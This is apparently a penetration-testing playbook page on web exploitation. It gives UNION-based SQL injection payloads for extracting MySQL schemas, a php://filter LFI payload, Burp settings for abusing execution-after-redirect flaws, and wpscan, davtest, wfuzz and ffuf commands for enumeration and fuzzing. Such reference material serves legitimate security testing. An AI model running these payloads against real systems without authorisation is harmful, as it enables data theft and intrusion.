notmalicio.us
02 · initial access

Web Exploitation

Web-based probing and exploits.

10 sections · 3 min read · ~/playbook/web-exploitation

General Injection Probing

Try this string:

"~!@#$%^&*()_'

XSS Probing

SQL Injection Probing

  • Initial special character attempts:
  • Consult PayloadsAllTheThings for navigating SQL versioning and extracting information: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
  • Try a UNION Injection
    • Pick a value not associated with a valid record (i.e. "x")
    • Try: x' UNION SELECT 1;--
    • Build up from there by adding a number at the end
      • e.g. x' UNION SELECT 1, 2;-- then x' UNION SELECT 1, 2, 3;--
    • Extract table structure out
      • i.e. suppose a, b, c are the available columns
  • Once the displayed columns are correct, attempt to extract out information
    • For mysql
      • List DBs: UNION SELECT group_concat(schema_name), b, c FROM information_schema.schemata;--
      • List Tables in a DB: UNION SELECT group_concat(table_name), b, c FROM information_schema.tables WHERE table_schema='DB_NAME';--
      • List Columns in Table: UNION SELECT group_concat(column_name), b, c FROM information_schema.columns WHERE table_name='TABLE_NAME';--

SSTI Probing

Execution After Redirect (EAR)

EARs can occur when redirects are improperly configured. Many pages hide sensitive data behind a login page, for example. A 302 may be generated using the following code:

<?php 
  if (!$loggedin) {
     print "<script>window.location = '/login';</script>"; 
  } 
?>

Since this code does not have a termination (i.e. die() or return), it will output the code to the page that is unintended.

To investigate a possible EAR, open up Burp.

  • Under Proxy Settings > Response interception rules > Check Intercept responses based on following rules
  • Under Proxy Settings > Match and replace rules > Add > Item: Response Header & Match: 302 Found & Replace 200 OK
    • Or change Match to whatever the redirect header is in the original response

Tomcat Hacking

WordPress

Enumerate WordPress: wpscan --url IPADDR/PATHTOWPSITE/ -e u,ap,at,tt,cb,dbe,m --plugins-detection aggressive | tee wpscan_TARGET.wpscan

Explanation of syntax: -e to specify the elements to enumerate, in this case, ap for all plugins, at for all themes, tt for timthumbs, cb for config backups, dbe for database exports, u for users and m for media

Enumerate WebDAV: davtest -url TARGET | tee dav_TARGET.davtest

Bypassing Upload Filters

Ways websites validate uploaded files:

Using an LFI to extract source code

  • argument=php://filter/convert.base64-encode/resource=file

Fuzzing

Various fuzzing techniques and ideas

User Enumeration Through Logon Page

  • Use Burp to find what the logon form looks like for a given website and use that data to construct a wfuzz command
  • Example: wfuzz -c -w /usr/share/seclists/Usernames/Names/names.txt -d "user=FUZZ&password=invalidpassword" --hs "String in invalid username response" TARGET/LOGONURIPATH | tee wfuzz_secnotes_user_fuzz.wfuzz
    • Where --hs means hide string and -d means POST data

API Fuzzing

  • If working with an API, try fuzzing it for endpoints with Gobuster and larger wordlists (like raft-small-words)
  • Once an API endpoint is identified, try hitting it in browser to find out if there are any parameters
  • Try fuzzing the parameters further with Ffuf, where FUZZ is the standard stand-in word for Ffuf
    • Special characters: ffuf -u http://TARGET/ENDPOINT?PARAMETER=FUZZ -w /usr/share/seclists/Fuzzing/special-chars.txt | tee fuzzing_TARGET_ENDPOINT_PARAMETER.ffuf
esc
↑↓ navigate↵ openesc close